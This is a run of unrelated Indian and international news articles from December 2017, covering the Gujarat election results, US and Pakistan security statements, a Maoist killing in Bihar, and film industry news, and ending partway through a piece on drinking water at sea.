Civic chief Ajoy Mehta said, BMC is awaiting the notification. Following this, the civic body will work around nitty-gritty of the order.
For the fifth time on the trot since 1998, it is, despite the depleted numbers, a respectable victory for the BJP in Gujarat. For the Congress, the outcome is honourable, fought as it did so gallantly on its rivals Hindutva turf.

It couldnt capture it  but shook it strong enough to make the winner look the runner up.

In some ways, the electorate gave both contestants reasons to celebrate: the BJP more yet less; the Congress less yet more! Compliments are indeed due to Prime Minister Narendra Modi  who was once again his partys one-man battalion  for having helped it keep power. Defusing palpable anti-incumbency against his colleagues who ran Gujarat post-2014, he spearheaded the BJP to a simple majority in the 182-member House.

For Rahul Gandhi, who strategised for and led from the front the Congress charge, the results are cause for satisfaction and introspection. The issues he raised fetched him resonance which translated to unprecedented acceptance of his leadership.

He struck a chord with eclectic sections of Gujarati voters who arent easy to please. But he fell short of delivering the zabardast (resounding) outcome he had expected on the strength of proximate and direct partnerships with the caste trinity of Hardik Patel, Alpesh Thakor and Jignesh Mewani.

One can declare the results as the Congresss best chance squandered again. But thatll be a tad unfair. The partys performance is impressive, given the near-derelict state of its organisational machinery pitted against the humongous BJP in its very citadel. It lacked committed cadres, as also a robust chief ministerial option for the electorate.

Yet it ran like Milkha Singh, deserving applause for the spirited effort, if not the medal it missed.

In making its mighty rival scurry for cover in its pocket borough of over two decades, Rahul has managed a start he so direly needed as Congress president. The tally he mopped as the partys chief campaigner was secured against the oft-tested Modi charisma that was a lethal mix of parochial emotion and religious nationalism.

The PMs final thrust before the second phase pulled it off for the BJP in Ahmedabad and Vadodara where subliminal communalism is a constant waiting to be stoked. The Congresss top leaders at the local level were sons of former chief ministers without their ancestral mass base: Bharat Solanki, Siddhartha Patel and Tushar Chaudhary. Pragmatic urban voters did not perceive them or the moribund opposition as a substitute, especially with the BJP being in power at the Centre under Modiits Mr Teflon.

So how will the results, including the Congresss defeat in Himachal play out at the national level? The BJP will do well to take a closer look at its policies and their implementation. Demonetisation and shoddy enforcement of goods and services tax had badly hit small businesses in quasi urban centers  where agrarian distress is next door and unemployment a burning issue.

There was evidence of the tight job market weakening Modis hold on young voters across castes. They used to be his self-propelled engines in the past that turned adversarial in these elections. Hardiks rebellion mirrored that change.

The Patidar leaders long-term utility for the Congress is enhanced by the BJPs consistent bid to play down his appeal in the influential community. Even after results, the saffron party said it was done in by kapaas (cotton farmers), not by (Hardiks quota outfit) PAAS.

Be that as it may, Rahul will be better off co-opting Hardik and the other two caste icons  Jignesh and Alpesh who have made it to the new assembly from North Gujarat. They all have political timbre to become leaders of consequence in the Congresss ongoing generational shift.

For instance, Jignesh is educated and is a good speaker like the other two. He can be the Congresss pan-India answer to Mayawati whose appeal is diminishing.

In immediate terms, the new chief has to strengthen the party in states where polls are due next year: Rajasthan, Chattisgarh and Madhya Pradesh. The drubbing the Congress got in these provinces took the fight out of it. Consequently, the 2014 general elections saw it being reduced to a rump in the Lok Sabha.

Rahuls test is in building on the Congresss recovery in Gujarat  as the principal Opposition in Parliament and the national alternative on the ground. He shouldnt, towards that end, be shy of reaching out to the majority community the way he did it in Gujarat. For their goodwill is crucial for safeguarding the interest of minorities.

vinodsharma@hindustantimes.com
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For a change, the pollsters got it right, at least in terms of direction. Exit polls conducted by various agencies after the recent assembly elections in Gujarat were unanimous in their conclusion that the Bharatiya Janata Party would win the elections with a comfortable majority. The BJP is indeed headed towards victory, though with a much smaller margin.

The reason the polls failed to forecast the appropriate margin of victory is a familiar one  they stumbled while converting votes into seats. Todays Chanakya, famous for calling the 2014 general elections right, for example, had predicted that the BJP would get 49% (+/- 3% points) of the vote, while the Indian National Congress would get 39% (+/- 3% points) of the vote share. While these numbers are bang on (at the time of filing, the BJP has 49% of the votes while INC has 41%), the agency got the seat distribution horribly wrong (predicting that the BJP would get 135 +/- 11 seats).

Now, converting vote shares into seats is not an easy process, as Id argued in a piece written for Mint in 2014.

Traditional models for conversion involve converting vote share forecasts into vote swings, and then forecasting the seats based on that. While it works well in most cases, the problem with such measures is that they assume that party strongholds will broadly remain constant, and its only the marginal seats that will tip over. Instead, what we have seen in Gujarat is a kind of crossover of party strongholds, as illustrated in Figure 1 (below).

Thanks in part to the Patidar agitations (for OBC reservations) in 2016, and the consequent alignment of Hardik Patel who led the agitations with the Congress, the Saurashtra region, which used to be a stronghold of the BJP, has tipped in favour of the Congress. Instead, the BJP has gained seats in North Gujarat, an area that used to be a Congress stronghold.

The story of the two parties strategies in the elections, and the reasons pollsters got it wrong, can be illustrated if we look at the constituency-wise lead for the BJP over the Congress in terms of vote share, and compare numbers across the 2012 and 2017 elections (Figure 2, below).

The first thing that stands out from Figure 2 is that in both 2012 and 2017, there were a few constituencies in which the BJP won really big (top right of the graph). On the other hand, the Congress biggest victories in both elections (bottom left) have come with a far smaller margin, and the partys biggest wins of 2017 are not in the same constituencies where it scored big wins in 2012.

These two facts put together imply that despite the BJP having a large margin in terms of overall vote share (nearly 8 percentage points), the margin in terms of seats is much smaller.

The other interesting fact from Figure 2 is the number of points in the 2nd and 4th quadrants of the graph (top left and bottom right respectively), which show constituencies that changed hands.

Nearly 30 constituencies that the BJP won in 2012 tipped over towards the Congress in 2017. This includes constituencies such as Jamalpur and Kalavad, which the BJP had a lead over the Congress in 2012, but in which the Congress led by a whopping 20 percentage points in 2017; and Jamjodhpur, which the BJP had a 20 percentage point lead in 2012 and where it trailed the Congress in 2017.

Normally, a swing of 30 constituencies in favour of the Opposition would be enough to tilt the election, but the BJP struck back in what used to be the Congress strongholds, gaining a lead in 17 constituencies that the Congress had led in 2012. While most of these constituencies were led by the BJP by small margins, they made a crucial difference in terms of the BJP holding on to a simple majority in the assembly.

From a strategic perspective, it was an extremely interesting election as the challenger Congress took on the incumbent BJP head-on in the latters strongholds, and managed to do fairly well there, gaining about 30 seats. The BJP on its part, instead of fighting to retain these strongholds where the Congress mounted a big campaign, focussed on winning seats in the Congress strongholds and won just enough to keep its majority.

The only downside of this fascinating electoral story, if one might call it that, was that this constituency exchange resulted in poll forecasts getting badly tripped up. Nevertheless, with most pollsters getting the direction of their forecasts right, they can go home happy!

Karthik Shashidhar is author of Between the Buyer and the Seller, a book on market design and liquidity. He has been writing Election Metrics (a data-driven take on elections) for Mint since 2013

The views expressed are personal
Suspected Maoists abducted and hacked to death two security guards of a private construction company in southeast Bihars Jamui district late on Monday night.

Police said the bodies of the two guards, with their throats slit, were recovered from Dudhania village of Jamui district, 166km southeast of Patna, on Tuesday morning.

Eyewitnesses told police that more than two dozen Maoists surrounded the construction company site at Jainsthan Kundghat of Sikandra village in the district and abducted the two guards at gunpoint.

Even after the Maoists left, scared employees of the construction firm did not raise an alarm. We remained indoors for the Maoists had threatened us with dire consequences if we reported the matter to police before sunrise, an employee said.

Police sources said the construction firm, engaged by the water resources department for its Rs 5586.52-lakh irrigation project, could have been targeted for not paying the levy demanded by Maoists.

The victims had been identified as Siddhram Koda and Ganguli Koda, both residents of Dhawatand in Mathurapur panchayat of the district, Jamui superintendent of police (SP) Jayant Kant said. They were deputed as security guards at the site of the firm engaged in the construction of a dam over river Bahuar under Kundghat reservoir scheme , the SP added.

The SP said the people involved in the incident had been identified and efforts were on to track them. He said one of the victims, Ganguli, was recently released from jail and an eyewitness had been detained for interrogation.

In the last few years, the Maoists have stepped up their activities in Jamui district.

On July 12, 2017, three members of a family, Bajrangi Koda, Shiv Koda and Mina Devi, were killed by Maoists on suspicion of being police informers in Jamui..

In November, 2011, 15 employees of a private company engaged in construction of a bridge over Bharnar river were kidnapped at gunpoint by Maoists and later freed in the forest near Charaiya area of Jamui. The refusal of the management of the construction firm to meet the extortion demands was reason behind the abduction.

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Fuming over reports of demolition of a gurdwara in Sahiwal in Pakistan, Akal Takht jathedar Giani Gurbachan Singh on Tuesday condemned the act. Taking serious note of the step being taken allegedly by land mafia to replace the gurdwara with a shopping plaza in the city which is 250 km from Lahore in Punjab province, he said, A true Muslim cannot take such step, because all the religions of the world teach humanity and brotherhood and ask the people to shun hate.

Advising Sikhs based in Pakistan to unite against this and take up the matter with the Pak government, head of the highest temporal seat of the Sikhs demanded that the authorities there should take action against the mafia with immediate effect, so that nobody can dare to do so in future.

Instead, the Pak government should take measures to guard the worship places of the minorities in the country and rein in the elements that target gudwaras, he added.

The jathedar said Sikhs daily pray for well-being of mankind. Still, they are targeted. Recently, followers of Buddhism attempted to encroach upon a historical gurdwara Dangmar Sahib which was visited by Guru Nanak Dev ji, in Sikkim. He said the Shiromani Gurdwara Parbandhak Committee (SGPC) and Delhi Sikh Gurdwara Management Committee (DSGMC) are taking measures in this regard and have raised the issue with the Centre.

He also asked political parties to not indulge in a blame game at the martyrdom anniversary of sons of Guru Gobind Singh. Various parties hold rallies on the occasion at Fatehgarh Sahib every year in the last week of December. Akal Takht asked them to only pay tribute to the martyrs.
The special court of Central Bureau of Investigation (CBI) on Monday convicted a former Punjab senior division judge, Manmohan Singh Walia, in a case of disproportionate assets (DA) registered in 1998.

According to the court, Walia amassed Rs 50 lakh assets disproportionate to his known sources of income. The quantum of sentence will be pronounced on December 21.

Case so far 1997: Punjab and Haryana high court receives complaint against Punjab senior division judge Manmohan Singh Walia, then posted in Bathinda courts February 1998: UT police lodges FIR after HCs internal probe finds Walia guilty of amassing disproportionate assets March 1998: CBI takes over the case on HCs directions December 1999: Punjab governor grants prosecution sanction December 2010: HC dismisses petition challenging prosecution sanction September 2011: HC dismisses Walias petition for transfer of case from then special CBI judge November 2017: HC dismisses fresh petition against prosecution sanction December 2017: CBI special court convicts Walia, sentencing on December 21

Walia, a Punjab judicial service officer, was held guilty of criminal misconduct under Sections 13 (1), (2) of the Prevention of Corruption (PC) Act by the court of additional district and sessions judge Gagan Geet Kaur.

The CBI had registered a case against Walia on March 24, 1998, on the directions of the Punjab and Haryana high court (HC).

Initially, Chandigarh Police had investigated the case after an HC internal probe found Walia guilty. On the HCs complaint, the UT police had lodged an FIR against Walia, then a Bathinda court judge, on February 3, 1998. He had been suspended in November 1997, and subsequently dismissed from service.

HC lawyer, wife were complainants

The court had acted on the complaint of a Sector-9 resident and former HC lawyer BS Bindra and his wife Guddi Manjit.

Bindra had stated in his complaint that half portion of a house in Sector 9 was in his familys name and the other half, in which Walia had started living, was in the name of HP Singh, a non-resident Indian (NRI), who was Walias uncle. Bindra had alleged that Walia had got the portion for himself in Singhs name.

After the CBI initiated probe, it found fixed deposits of Rs 3 lakh in the accounts of Walias family members. Walia had claimed that it was on account of the properties sold by him.

Later, the CBI also seized documents pertaining to the agreement to sale and general power of attorney of the property from Walias possession. The CBI found debentures of Vardhman Mill worth Rs 12.5 lakh which were also encashed to his family members and into his wifes account while documents pertaining to an investment of Rs 25 lakh was also unearthed in the name of Sehgal Motors at Ludhiana.

Walia had filed multiple petitions in the HC and Supreme Court, but on most occasions did not succeed in getting relief. Walia had alleged that Bindra had conspired with a former Punjab and Haryana HC judge, with whom Bindra practised at the Ludhiana courts and later at HC. However, the HC had termed the allegations far-fetched.
The Aam Aadmi Party (AAP) on Tuesday made senior leader and Delhis deputy chief minister Manish Sisodia in-charge of Punjab where the party is fast losing ground.

After assessment of prevailing political situation in the state of Punjab, the political affairs committee has appointed senior party leader Manish Sisodia as Prabhari (in-charge) of Punjab, said a statement by the AAP.

Handing over the responsibly to partys senior most leader, after party chief and Delhi chief minister Arvind Kejriwal, is seen as an effort by Delhis ruling party to set its house in order in Punjab where despite being the main opposition in assembly, it could win just one ward (in Bholath) out of 149 it contested in the municipal polls, the results of which were declared on Sunday.

Results of the civic polls showed that the party had even lost its ground in areas where its candidates won with huge margins in the March assembly elections. It had won 20 seats in the 117-member house to emerge as the main opposition party.

The AAP was without any proper observer in Punjab since Sanjay Singh resigned in April after the party failed to come to power in the state.

For its below expected performance in assembly elections, many state leaders had accused the partys central leadership of interfering in Punjab affairs.

After assembly elections, it was alleged that Delhi leadership was interfering in local units affairs and it was cited as a reason for the partys poor showing in the polls , said a party leader who did not want to be named.

Following the allegations it was decided that the central leadership would keep away from Punjab. The candidate selection and campaign strategy was handled by local leaders. But after poor performance in Gurdaspur bypolls and the recent civic polls, we felt the need for setting the house in order. So we have chosen one of the senior most leaders for the task, he added.

The AAP nominee Major General (retired) Suresh Khajuria came third in the Lok Sabha bypoll.

The northern state is important for the AAP as it was the only state where it could open its account in 2014 Lok Sabha elections, winning four seats.

The party, in its maiden foray in the civic polls in Uttar Pradesh, won 42 seats, including two posts of chairman, in the result announced on December 1 while six independent candidates later joined the party fold.

In the Gujarat assembly polls, the results of which were announced on Monday, the partys 27 candidates could manage even lesser accumulated votes than NOTA votes.

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After setting the Indian cash registers on fire, SS Rajamoulis Baahubali 2 is all set to stir up another box-office storm as the film has been confirmed to hit the Japanese screens on December 29. Having grossed over Rs 1700 crore so far from its theatrical run in rest of the world, Baahubali 2 will hope to appeal to Japanese audiences in a big way. The film has been dubbed in Japanese and it has been passed by the censor board with G, an equivalent of U certificate in India.

A story about two brothers battling for the ownership of an ancient kingdom, Prabhas and Rana Daggubati played the male protagonists. The film features elaborate fight sequences and computer graphics including rampaging elephants and a bull stampede which have left both audiences and critics alike in awe. Shot in Telugu and Tamil, the film was dubbed into Hindi and Malayalam. Interestingly, all the four versions of the film did exceptionally good business at the ticket window.

At the ticket window, Baahubali 2 has many first-time records. Its the first Indian film to breach into the INR 1500 crore club, crushing all records across the length and breadth of the globe. In Tamil Nadu, the film minted over Rs. 150 crore club, becoming the first film to achieve the rare feat, even surpassing superstar Rajinikanths Enthiran, which registered the record seven years ago. According to trusted trade pundits, it took second part in the Baahubali franchise just 16 days to enter the INR 100 crore club in Tamil Nadu. In Kerala, the film minted around Rs. 70 crore in its theatrical run. Having broken the records of Bollywood biggies such as Sultan and Dangal to become the biggest Indian grosser, theres no record left to be broken by the film.

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For over a decade, Santhanam has successfully entertained Tamil audience as a star comedian and he has single-handedly saved many films from going down the drain. When he decided to turn hero in 2014 with Vallavanukku Pullum Aayudham, his decision was not welcomed with open arms by many, including some of his own peers from the industry. Despite stiff opposition, he continued playing lead roles in projects such as Inimey Ippadithaan and Dhilukku Dhuddu, which were well received and did decent business at the box-office.

Ahead of the release of his next outing Sakka Podu Podu Raja (which hits the screens on Friday), in which he has played the hero again, Santhanam says he has bid adieu to playing comic roles and second fiddles to heroes. I got bored of playing the heros friend who helps in love. After a point, the roles got so monotonous I felt I cant do this anymore. I cant quit cinema, so I decided to play the hero. No matter what decision you take in life, therell always be support and opposition. I saw both in this case but I was certain of what I wanted to do with my career. I still do humour in the films I play the hero, but this is different. Humour I do as hero is not monotonous and boring, Santhanam told Hindustan Times.

See | Stills from Santhanams Sakka Podu Podu Raja

The transition from a comedian to hero had its share of challenges, admits Santhanam, who is now wary of how he looks and what he wears. I didnt care much about how I looked when I played a comedian. There have been instances when I wore whatever was available on sets. Since I play a hero now, it matters not just to me but also to my fans how I look. Changing your look is not easy. You just cant change the way you look because it has to suit you. In Sakka Podu Podu Raja, the director gave me references of Hollywood pop stars, and thats how we zeroed in on my look in the film. After I became a hero, its not just the looks that mattered. It also mattered to my fans that I entertain them with dance and fight sequences for which I worked extra hard, he said.

Santhanam assures Sakka Poduwill be a rip-roaring entertainer and he credits his team for putting together the comedy sequences in the film. Its not a one man show. I have a team of writers and we sit and discuss and then write. Theyve travelled with me for a long time and most of them worked with me in television. Most of my dialogues and punch lines are improvised on the spot. We just go with the flow and it has worked most of the times. As hes climbing up the ladder in his career, Santhanam is taking his friends along. He has given directorial breaks to his friends. Sakka Podu Podu Raja is directed by G.L Sethuraman, former colleague of Santhanam on his television show Lollu Sabha. Im just identifying talent and giving them right opportunities. Im happy were growing as a team, he said.

Santhanams foray into cinema from television is no easy feat. Commenting on the popularity of this trend in the last few years, he said, Im happy with the acceptance of some television actors into cinema in recent times. When I made the plunge, people from the industry looked down upon my television background. Luckily, I won the hearts of the audiences which earned me acceptance from all quarters. But its heartening to see actors like Sivakarthikeyan and Robo Shankar, who come from television background, doing extremely well in cinema.

Sakka Podu Podu Raja releases alongside Sivakarthikeyans Velaikkaran, but Santhanam doesnt see Siva as competition. I dont see Siva as competition. Maybe the competition is between our films which is good and needed as long as it doesnt turn into envy. Im happy for Siva and his growth. For an industry to flourish, we all should grow not just as one individual, he said.

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Australian police accidentally broadcast on social media details of an operation to arrest a suspected North Korean agent -- three days before he was taken into custody, media reported.

The Sydney-based man, described by authorities as a loyal agent of North Korea, was arrested on Saturday and charged with trying to sell missile parts and technology on the black market to raise money for Pyongyang in breach of international sanctions.

But a minute of conversation about the case between federal police officers, including the timing of the arrest, was broadcast on Periscope and linked to on Twitter, The West Australian reported on Tuesday.

The newspaper said it had listened to the discussion, which included a suggestion that officers are not going in all guns blazing, its only half-a-dozen people and a forensic van.

The paper added that while the tweet was deleted, the broadcast remained live -- and was watched by 40 people -- before it was also removed after the publication alerted federal police.

It was only by luck that no details of the identity of the target were revealed, the West Australian added.

Federal police confirmed part of a conversation was mistakenly broadcast via its Periscope account while testing a piece of social media broadcasting equipment.

Steps have been taken to ensure such incidents will not occur again, the force said in a statement.

The matter has been referred to the AFPs security area for review.

AFP (Australian Federal Police) assistant commissioner Neil Gaughan told reporters on Sunday that the case involving the alleged agent was like nothing we have ever seen on Australian soil.

He added that the 59-year-old suspect, named in local media as Chan Han Choi, was a loyal agent of North Korea, believing he was acting to serve some higher patriotic purpose.

Choi, who is in custody, is due back in court this week.
Jagmeet Singh, who made history this year by becoming the first Sikh elected to lead a national-level Canadian party, may have more to celebrate as it appears the bachelor may be headed for marriage.

Multiple social media posts indicated that the new leader of the New Democratic Party could get hitched to fashion designer Gurkiran Kaur Sidhu, better known as Ginu, according to CBC and Huffington Post Canada.

A Toronto area wedding photographer, Gagandeep Singh posted a photograph on Instagram of the 38-year-old NDP leader and Sidhu, reported to be 27, captioned: Congrats to the future Prime Minister of Canada @jagmeetsingh & the future First Lady @ginu_sidhu on their Rokha!!

The rokha is the initial step in the wedding process, and is an occasion for the families and the bride and groom to gather together and agree on the match, prior to a formal engagement.

A video was also posted on Instagram by DJ K Square, which briefly shows Sidhu with Singh, the latter in a bhangra pose.

That was captioned: We've done house parties before but this one is definitely special. Another Engagement tonight alongside @djssquared@djksquare for @jagmeetsingh and @ginu_sidhu.

That video was reported to have been shot as a banquet hall in Brampton, the suburb of Toronto where Singh lives.

CBC quoted a spokesperson for the NDP leader as saying the event was a celebration of families meeting for the first time.

Sidhu is involved with the fashion firm Jangiiro, which is described on its Tumblr page as a new age Punjabi clothing line that believes in customising unique garments for each client. inspired by vintage Punjab.
A furious Pakistan on Tuesday rejected what it called accusations made in the Trump administrations first national security strategy, saying unsubstantiated allegations in the document trivialised Islamabads efforts to fight terrorism.

In the national security strategy, the US had said it would continue to press Pakistan to do more on counter-terrorism and be a responsible steward of its nuclear assets.

While unveiling the document on Monday, President Donald Trump said, We have made clear to Pakistan that while we desire continued partnership, we must see decisive action against terrorist groups operating on their territory. And we make massive payments every year to Pakistan. They have to help.

In a strongly-worded response, Pakistans foreign office said the US strategy document has made certain unsubstantiated allegations towards Pakistan.

Pakistan rejects such unfounded accusations that belie facts on ground and trivialise Pakistans efforts for fighting terrorism and our unmatched sacrifices to promote peace and stability in the region.

It is because of Pakistans cooperation with the international community, acknowledged and appreciated by the US leadership, that the Al- Qaeda core was decimated from the region, the statement said.

It said Pakistan continues to suffer at the hands of state sponsored terrorism, funded and abetted by our neighbours through proxies.

These proxies, consisting of individuals, organizations and intelligence agencies, are working against Pakistan at the behest of regional adversaries, the statement said.

The self-proclaimed guarantors of peace and phony regional powers are pursuing this nefarious game of expansionism to the detriment of regional and global peace, it said, without specifically naming any country.

Destabilising policies and actions by some countries to maintain their hegemony in pursuit of absolute power are responsible for instability in several parts of the world, including ours.

Countries emerge as regional or global powers on the basis of their constructive contributions. It does not fall upon one country to bestow such status on any state, it said.

Referring to India, it said: Ironically, a country with a record of defiance of UNSC resolutions, introduction of nuclear weapons in South Asia and use of terrorism as a state policy is being projected as a regional leader. South Asias strategic stability is being undermined by what it called Indias brutalisation of people of Kashmir and incessant ceasefire violations targeting innocent civilians.

It also said that the Afghan soil is being constantly used by elements hostile to Pakistans stability.

Pakistans efforts and sincere proposals for effective border management to prevent cross border movement of militants and return of Afghan refugees are yet to make any headway.

On the other hand, a malicious campaign is underway to undo Pakistans achievements in the war against terrorism, it said.

The foreign office also claimed that Pakistans security forces have undertaken indiscriminate and effective counterterrorism operations.

Thanks to these comprehensive operations, today, Pakistan is a more stable, peaceful and secure country. The success against the menace of terrorism, however, has come at a tremendous cost of blood and treasure, courageously braced by the people of Pakistan.

It also responded to the US strategys reference to its nuclear arsenal.

As a responsible nuclear state, Pakistan has put in place, a highly efficient, robust and centralised command and control mechanism to secure its nuclear assets. The safety and security standards of Pakistans nuclear arsenal are second to no other nuclear state.

Pakistan, the statement said, remains committed to continue its fight against the sympathisers, financers and abettors of terrorism to ensure that Pakistans soil is not used for committing violence anywhere.

We expect the same commitment from our neighbours and other regional and global actors, it added.
In what appears to be a strong message to India, Nepals prime minister-in-waiting KP Sharma Oli on Tuesday made a surprise visit to the countrys border with China in Rasuwagadhi and inspected the only trade and transit point between the two countries.

The motive for the visit remains unknown, but it may be an indication that the incoming government to be headed by the CPN-UML chairman is likely to tilt towards Beijing and seek support for larger connectivity projects including road and railways.

The Rasuwagadhi-Kerung border point would be upgraded to international standards, Oli said during the visit described by Nepali media as sudden and surprising to many. We will bring the Chinese rail through this border point, he added. Given the difficult terrain, we will construct cable cars across the border so that cross-border movement can be eased.

China has already announced plans to develop Rasuwagadhi -Kerung into an international border crossing, calling it a gateway to South Asia.

Oli, who was accompanied by top party officials, said that some dry ports will be constructed around the border point. He also vowed to expand the RasuwagadhiKerung-Kathmandu road into four lanes. It is seen as an alternative to Birgunj, a border point between Nepal and India.

RasuwagadhiKerung is the only trading post between Nepal and China.

Oli, who landed in a restricted area in the border point after taking permission from the Chinese side, remembered his visit to China in 2016.

His border trip comes at a time when the Left Alliance has publicly announced that it would opt for a balanced foreign policy.

Foreign affairs watchers in Kathmandu are perplexed as to what message Oli wants to send to New Delhi with this outing, just before Nepal parliament names him as prime minister.
Pakistans National Security Advisor Nasser Khan Janjua has accused the US of siding with India and warned of a possible nuclear war due to the delicate security situation in South Asia.

The stability of the South Asian region hangs in a delicate balance, and the possibility of nuclear war cannot be ruled out, Janjua was quoted by the Pakistani media as saying at a seminar in Islamabad on Monday.

India has been stockpiling a range of dangerous weapons as it threatens Pakistan continuously of conventional warfare, he told the seminar on the the National Security Policy  Vision for Pakistan that was organized by the Center for Global & Strategic Studies (CGSS).

Janjua said special efforts are needed to maintain balance in South Asia, which is a mistake away from a major catastrophe.

India-Pakistan ties are at an all-time low following a string of terror attacks last year that were blamed on Pakistan-based groups such as the Jaish-e-Mohammed. The two sides have also had intense exchanges of fire on the Line of Control (LoC) in Kashmir, putting a 14-year-old ceasefire under pressure.

Janjua, who rarely speaks in public on security issues, contended the US had chosen to side with India against Pakistan while ignoring Islamabads enormous sacrifices in the fight against terrorism.

India is being given priority over Pakistan in Afghanistan, something that will shape the political and strategic dynamics of the war-torn country, he said in remarks that were described by the Pakistani media as unusually candid and blunt.

Janjua also accused the US of conspiring with India against the China-Pakistan Economic Corridor as part of its policy to counter Chinese influence in South Asia.

The US-India alliance has an identical stance on the Kashmir issue, and America frequently gives India preference over Pakistan, he said.

Pakistans top civil and military leadership has been irked by growing pressure from the Trump administration to crack down terror groups based on the countrys soil  an issue that was raised during recent visits to Pakistan by secretary of state Rex Tillerson and defence secretary Jim Mattis.

The US has also demanded that Pakistan should re-arrest Lashkar-e-Taiba founder Hafiz Saeed, the alleged mastermind of the 2008 Mumbai attacks, and prosecute him.

A recent Pentagon report on Afghanistan that was submitted to Congress has also suggested the US could resort to unilateral actions in areas of divergence with Pakistan.

But Janjua regretted that Pakistan was being accused of playing a double game and providing safe havens to Taliban and Haqqani Network while the US disregarded its contribution to the fight against terror. The US, he said, is exporting war and perpetual instability to South Asia.

He added that on the one hand, the US accused Pakistan of siding with the Taliban and Haqqani Network and, on the other, the Tehreek-e-Taliban Pakistan attacked the country for helping infidels.

Janjua said Pakistan encountered the menace of terrorism only after it began backing the operations of US-led forces in Afghanistan. Pakistan has been battling with security problems for the past many years. Peace in Afghanistan remains our top priority, he added.

Pakistan now needs to frame a comprehensive response to security of the state, and the current security milieus across the globe had witnessed a paradigm shift where cyber threats had taken centre-stage, he said.
The United States welcomed Indias rise as a leading global power and would step up quadrilateral cooperation with it and Japan and Australia, according to President Donald Trumps first National Security Strategy released on Monday.

This was the first reference to quadrilateral cooperation in an American National Security Strategy (NSS) document, that is aimed at containing and managing Chinas aggressive rise without calling it so.

It was also the first time that an NSS document, which every administration is statutorily mandated to submit to Congress, used the phrase Indo-Pacific as a geopolitical construct, which the Trump administration has begun using to much alarm and irritation in Beijing.

The document, which branded China and Russia as main competitors of the US and called them revisionist powers, also spelt out clearly that Washington will continue to press Pakistan to do more on counter-terrorism and be a responsible steward of its nuclear assets.

Our new strategy is based on a principled realism, guided by our vital national interests, and rooted in our timeless values, Trump said in a speech unveiling the strategy on Monday. We face rogue regimes that threaten the United States and our allies. We face terrorist organisations, transnational criminal networks, and others who spread violence and evil around the globe.

He added, We also face rival powers, Russia and China, that seek to challenge American influence, values, and wealth.

Focussing on South Asia, the strategy document said the US continues to face threats from transnational terrorists and militants operating from within Pakistan that the other big concern was the prospect for an Indo-Pakistani military conflict that could lead to a nuclear exchange.

In his remarks, Trump said, We have made clear to Pakistan that while we desire continued partnership, we must see decisive action against terrorist groups operating on their territory. And we make massive payments every year to Pakistan. They have to help.

In the section on Indo-Pacific, that took precedence over other regions in the chapter titled The strategy in a regional context, the document noted: We welcome Indias emergence as a leading global power and stronger strategic and defence partner. We will seek to increase quadrilateral cooperation with Japan, Australia, and India.

The last National Security Strategy document of the Obama administration released in 2015 had called India a regional provider of security and had stated the US will support it in that role and its expanded participation in critical regional institutions.

While all four members of the quadrilateral cooperation  or the Quad, as it is called  strenuously deny its is aimed at containing China, which has been seen to be upending the rules and regulations of global order, their officials have felt not compunctions admitting privately it is anything but.

The presidents new strategy will also say the United States will expand our defence and security cooperation with India, a Major Defence Partner of the United States, and support Indias growing relationships throughout the region. That refers to increased cooperation in defence co-production and trade.

The document added: We will deepen our strategic partnership with India and support its leadership role in Indian Ocean security and throughout the broader region.

As laid out in the South Asia strategy Trump had announced in August, the document released on Monday reiterated the need for India to do more to help grow Afghanistans economy through more investments in infrastructure and development, as mentioned by senior administration officials previewing the speech.

And we will encourage India to increase its economic assistance in the region.

On Pakistan, the presidents national security strategy continued the trajectory laid out by him in multiple speeches, echoed by his officials such as secretaries of state and defence Rex Tillerson and James Mattis from various platforms.

We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a countrys support for militants and terrorists who target a partners own service members and officials, the document said.

It added: The United States will also encourage Pakistan to continue demonstrating that it is a responsible steward of its nuclear assets.

There has been growing concerns about Pakistans nuclear arsenal, which is said to be the worlds fastest growing, its record on proliferation and fears of its nuclear weapons falling into the hands of terrorists operating on its soil.

The document said revisionist powers China and Russia, who are challenging the status quo and the international order, are determined to make economies less free and less fair, to grow their militaries, and to control information and data to repress their societies and expand their influence.

These competitions require the United States to rethink the policies of the past two decades  policies based on the assumption that engagement with rivals and their inclusion in international institutions and global commerce would turn them into benign actors and trustworthy partners, the document continued. For the most part, this premise turned out to be false.

The other two groups identified as threats in President Trumps new strategy document are rogue regimes such as North Korea that has tested this administration with missile and nuclear tests and rhetoric from the start, and Iran. The third comprised of transnational terrorist organisations, which export violence in support of their wicked ideology.

The strategy will present a helicopter view of Trumps policies at home and abroad without getting into the weeds, country-wise.

An official briefing on background had said earlier that though the document identified China as a strategic competitor because it competes with America across political, economic military and informational domains in ways not duplicated by other competitors, the US is working with China and we do not rule out cooperation.

The official said the US recognises it needs China to work on the DPRK problem  referring to North Korea by its official name, Democratic Peoples Republic of Korea.

The strategy will be based on four broad pillars  Americas vital interests, as an official described them.

First, protecting homeland, strengthening the border, fixing immigration and dealing with the threat of terrorism, including internal radicalisation

Second, promoting American prosperity through trade deals.

Third, preserving peace through strength, which would entail sharpening military edge and readiness, increased lethality.

And fourth, advancing American influence around the world.

There is nothing terribly new from what previous administrations have done, an official said, but the emphasis would change, specially in the context of a competitive world in which, the strategy will argue, the US has not been competing as well as it should.
Access to safe drinking water has been a major concern for sailors throughout mankinds conquest of the oceans. Ships normally carried potable water in casks or tanks; however, there was a limit on how long it could be stored in that manner before it became virtually undrinkable. While ocean voyages were generally planned with several landfalls, there are countless accounts of vessels running out of water or having to ration their supplies for days until they reached land or it rained hard enough to catch water.

During the so-called Age of Sail, attempts to develop a means to produce drinking water on-board ship were mostly unsuccessful. Usually only limited quantities could be produced in stills in the ships galleys. It was not until the advent of steam propulsion in the early 19th century that a possible solution to this dilemma appeared. Volumes of steam from the ships boilers could now power a distilling apparatus that was capable of producing large quantities of potable water.

The introduction of steamships presented additional problems, as fresh water was needed to operate the boilers to produce steam. The paddle-wheeler USS Missouri was launched in 1841 as one of the Navys first steam-powered ships. Missouri had two 40-ton water tanks installed to provide water for both the boilers and crew. Missouris sister ship, USS Mississippi, served as the flagship for U.S. Navy operations along the Gulf Coast during the Mexican War and had to return to Port Isabel (Texas) twice for additional water.

By the Civil War, condensers had been developed and installed on warships, altering their operational capacity. CSS Alabama and USS Kearsarge, which clashed memorably off the coast of France in June 1864, are prime examples of benefactors of this new technology.

